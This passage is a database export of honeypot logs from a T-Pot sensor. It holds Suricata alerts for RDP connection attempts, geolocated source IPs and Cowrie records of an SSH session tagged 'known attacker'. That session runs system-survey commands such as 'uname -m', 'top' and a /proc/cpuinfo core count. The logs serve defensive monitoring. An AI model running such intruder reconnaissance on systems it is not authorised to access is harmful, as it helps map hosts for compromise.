"enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54952, "dest_port": 3389, "timestamp": "2021-09-20T11:01:04.185171Z", "@timestamp": "2021-09-20T11:01:04.185Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19882	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:01:04.627763+03	2021-09-20 14:15:01.671613+03	{"_id": "rQXdAnwBvYTbRNuE1PW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1988711221811946, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54952, "dest_port": 3389, "timestamp": "2021-09-20T11:01:04.627763Z", "@timestamp": "2021-09-20T11:01:04.627Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19883	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:01:04.185171+03	2021-09-20 14:15:01.673613+03	{"_id": "rgXdAnwBvYTbRNuE1fWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 54952, "dest_port": 3389, "timestamp": "2021-09-20T11:01:04.185171", "@timestamp": "2021-09-20T11:01:04.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
19884	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:03.975882+03	2021-09-20 14:15:01.674614+03	{"_id": "rwXdAnwBvYTbRNuE1fWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:03.975882Z", "@timestamp": "2021-09-20T11:01:03.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19887	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:04.544431+03	2021-09-20 14:15:01.678613+03	{"_id": "sgXdAnwBvYTbRNuE1fWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "119.29.153.168", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5686314105987549, "duplicate": true, "timestamp": "2021-09-20T11:01:04.544431Z", "@timestamp": "2021-09-20T11:01:04.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19888	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:01:05.547048+03	2021-09-20 14:15:01.679613+03	{"_id": "tQXdAnwBvYTbRNuE2PWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 354267859853091, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11589, "dest_port": 3389, "timestamp": "2021-09-20T11:01:05.547048Z", "@timestamp": "2021-09-20T11:01:05.547Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19889	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:01:04.185171+03	2021-09-20 14:15:01.680613+03	{"_id": "qwXdAnwBvYTbRNuE1PW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1988711221811946, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54952, "dest_port": 3389, "timestamp": "2021-09-20T11:01:04.185171Z", "@timestamp": "2021-09-20T11:01:04.185Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19890	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:55.295577+03	2021-09-20 14:15:01.682613+03	{"_id": "iAXdAnwBvYTbRNuEsvVi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:55.295577Z", "@timestamp": "2021-09-20T11:00:55.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19891	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:00:55.297528+03	2021-09-20 14:15:01.683613+03	{"_id": "iQXdAnwBvYTbRNuEsvVi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.session.closed", "message": "Connection lost after 61 seconds", "session": "0afa7df228ce", "@version": "1", "duration": 61.0868124961853, "timestamp": "2021-09-20T11:00:55.297528Z", "@timestamp": "2021-09-20T11:00:55.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
19892	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:56.284931+03	2021-09-20 14:15:01.684612+03	{"_id": "jAXdAnwBvYTbRNuEtvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:56.284931Z", "@timestamp": "2021-09-20T11:00:56.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19893	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:57.812598+03	2021-09-20 14:15:01.685612+03	{"_id": "kAXdAnwBvYTbRNuEuvU0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "119.29.153.168", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5696268081665039, "duplicate": true, "timestamp": "2021-09-20T11:00:57.812598Z", "@timestamp": "2021-09-20T11:00:57.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19894	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:58.180248+03	2021-09-20 14:15:01.686612+03	{"_id": "kQXdAnwBvYTbRNuEvvUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:58.180248Z", "@timestamp": "2021-09-20T11:00:58.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19895	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:59.142535+03	2021-09-20 14:15:01.687613+03	{"_id": "lwXdAnwBvYTbRNuEwvUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:59.142535Z", "@timestamp": "2021-09-20T11:00:59.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19896	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:59.707307+03	2021-09-20 14:15:01.689616+03	{"_id": "lQXdAnwBvYTbRNuEwvUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "119.29.153.168", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5653989315032959, "duplicate": true, "timestamp": "2021-09-20T11:00:59.707307Z", "@timestamp": "2021-09-20T11:00:59.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19903	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:57.243055+03	2021-09-20 14:15:01.697613+03	{"_id": "jwXdAnwBvYTbRNuEuvUz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:57.243055Z", "@timestamp": "2021-09-20T11:00:57.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19897	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:55.861621+03	2021-09-20 14:15:01.690615+03	{"_id": "hwXdAnwBvYTbRNuEsvVi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "119.29.153.168", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5666694641113281, "duplicate": true, "timestamp": "2021-09-20T11:00:55.861621Z", "@timestamp": "2021-09-20T11:00:55.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19898	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:56.284383+03	2021-09-20 14:15:01.691615+03	{"_id": "iwXdAnwBvYTbRNuEtvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:56.284383Z", "@timestamp": "2021-09-20T11:00:56.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19899	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:57.243598+03	2021-09-20 14:15:01.692614+03	{"_id": "jgXdAnwBvYTbRNuEuvUz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:57.243598Z", "@timestamp": "2021-09-20T11:00:57.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19900	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:58.179693+03	2021-09-20 14:15:01.693612+03	{"_id": "kgXdAnwBvYTbRNuEvvUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:58.179693Z", "@timestamp": "2021-09-20T11:00:58.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19901	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:55.295033+03	2021-09-20 14:15:01.695613+03	{"_id": "hgXdAnwBvYTbRNuEsvVi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:55.295033Z", "@timestamp": "2021-09-20T11:00:55.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19902	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:56.849399+03	2021-09-20 14:15:01.696627+03	{"_id": "jQXdAnwBvYTbRNuEtvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "119.29.153.168", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5651021003723145, "duplicate": true, "timestamp": "2021-09-20T11:00:56.849399Z", "@timestamp": "2021-09-20T11:00:56.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19904	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:58.747707+03	2021-09-20 14:15:01.698613+03	{"_id": "kwXdAnwBvYTbRNuEvvUc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "119.29.153.168", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.568098783493042, "duplicate": true, "timestamp": "2021-09-20T11:00:58.747707Z", "@timestamp": "2021-09-20T11:00:58.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
